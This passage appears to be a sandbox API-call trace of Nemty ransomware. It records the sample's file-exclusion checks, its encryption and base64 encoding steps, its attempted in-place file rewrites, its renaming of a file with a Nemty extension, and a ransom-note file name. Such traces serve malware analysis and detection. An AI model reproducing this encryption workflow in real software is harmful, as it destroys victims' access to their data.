lpString2="windows") returned -1 [0146.449] lstrcmpiW (lpString1="slideShow.css", lpString2="$RECYCLE.BIN") returned 1 [0146.449] lstrcmpiW (lpString1="slideShow.css", lpString2="rsa") returned 1 [0146.449] lstrcmpiW (lpString1="slideShow.css", lpString2="NTDETECT.COM") returned 1 [0146.449] lstrcmpiW (lpString1="slideShow.css", lpString2="ntldr") returned 1 [0146.449] lstrcmpiW (lpString1="slideShow.css", lpString2="MSDOS.SYS") returned 1 [0146.449] lstrcmpiW (lpString1="slideShow.css", lpString2="IO.SYS") returned 1 [0146.450] lstrcmpiW (lpString1="slideShow.css", lpString2="boot.ini") returned 1 [0146.450] lstrcmpiW (lpString1="slideShow.css", lpString2="boot.ini") returned 1 [0146.450] lstrcmpiW (lpString1="slideShow.css", lpString2="AUTOEXEC.BAT") returned 1 [0146.450] lstrcmpiW (lpString1="slideShow.css", lpString2="ntuser.dat") returned 1 [0146.450] lstrcmpiW (lpString1="slideShow.css", lpString2="desktop.ini") returned 1 [0146.450] lstrcmpiW (lpString1="slideShow.css", lpString2="CONFIG.SYS") returned 1 [0146.450] lstrcmpiW (lpString1="slideShow.css", lpString2="RECYCLER") returned 1 [0146.450] lstrcmpiW (lpString1="slideShow.css", lpString2="BOOTSECT.BAK") returned 1 [0146.450] lstrcmpiW (lpString1="slideShow.css", lpString2="bootmgr") returned 1 [0146.450] lstrcmpiW (lpString1="slideShow.css", lpString2="programdata") returned 1 [0146.450] lstrcmpiW (lpString1="slideShow.css", lpString2="appdata") returned 1 [0146.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.css", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0146.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.css", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.css", lpUsedDefaultChar=0x0) returned 13 [0146.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.css", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0146.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.css", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.css", lpUsedDefaultChar=0x0) returned 13 [0146.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.css", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0146.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.css", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.css", lpUsedDefaultChar=0x0) returned 13 [0146.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.css", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0146.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.css", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.css", lpUsedDefaultChar=0x0) returned 13 [0146.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401c8 [0146.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0146.450] Sleep (dwMilliseconds=0x5) [0146.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xaf29290, dwHighDateTime=0x1d561e8)) [0146.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xaf29290, dwHighDateTime=0x1d561e8)) [0146.466] GetLastError () returned 0x5 [0146.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.466] GetLastError () returned 0x5 [0146.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.466] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0146.466] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0146.467] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0146.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0146.467] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e5dc | out: pszString="vOG2o7LgeSZR9mJhet4TGln+ViIJOOB9C8IEKInTHPPfde8bGGCeM2a3jWeuhLkV\r\n11T/DjDP0j0uWrGF9n24LeR4xg6zCY7JIkD3MEcJMyE9GbfuVNFY6GLv3Ojr14Kb\r\n7yaAudgUcVE/Qq1cWR2X0Bvqu1ugt+JmO81hJGg7NCQcASgZLsyJTAcDYyevJGM/\r\nqdgMfrj8ayqrGXtBrduHAiU6RsXJJuq3DetUPSO8EX02ewTJj9+wHA2MgM+rbGhs\r\nu9Y3amUvJ19OBOWj0tphZUb2ysMZQ7j56EyuOra82f61cd8vaFw2BqdXxWnkrpuI\r\nsT1y0uZBafgYCnTHSedUMQ==\r\n", pcchString=0x653e5dc) returned 1 [0146.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0146.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0146.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0146.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0146.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0146.467] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\slideShow.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\slideshow.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.475] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0146.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0146.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.540] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.549] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.549] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.568] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0146.579] CloseHandle (hObject=0xffffffff) returned 0 [0146.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0146.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0146.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0146.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0146.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\slideShow.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\slideshow.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\slideShow.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\slideshow.css._nemty_kgobjgd_")) returned 0 [0146.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0146.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0146.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0146.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0146.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0146.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0146.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.580] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd2630, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xadd2630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xadd2630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0146.580] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0146.580] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0146.580] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0146.580] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0146.580] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0146.580] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0146.580] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0146.580] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0146.580] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0146.580] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0146.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0146.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0146.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0146.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0146.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0146.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0146.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0146.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0146.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0146.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0146.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0146.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0146.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.581] 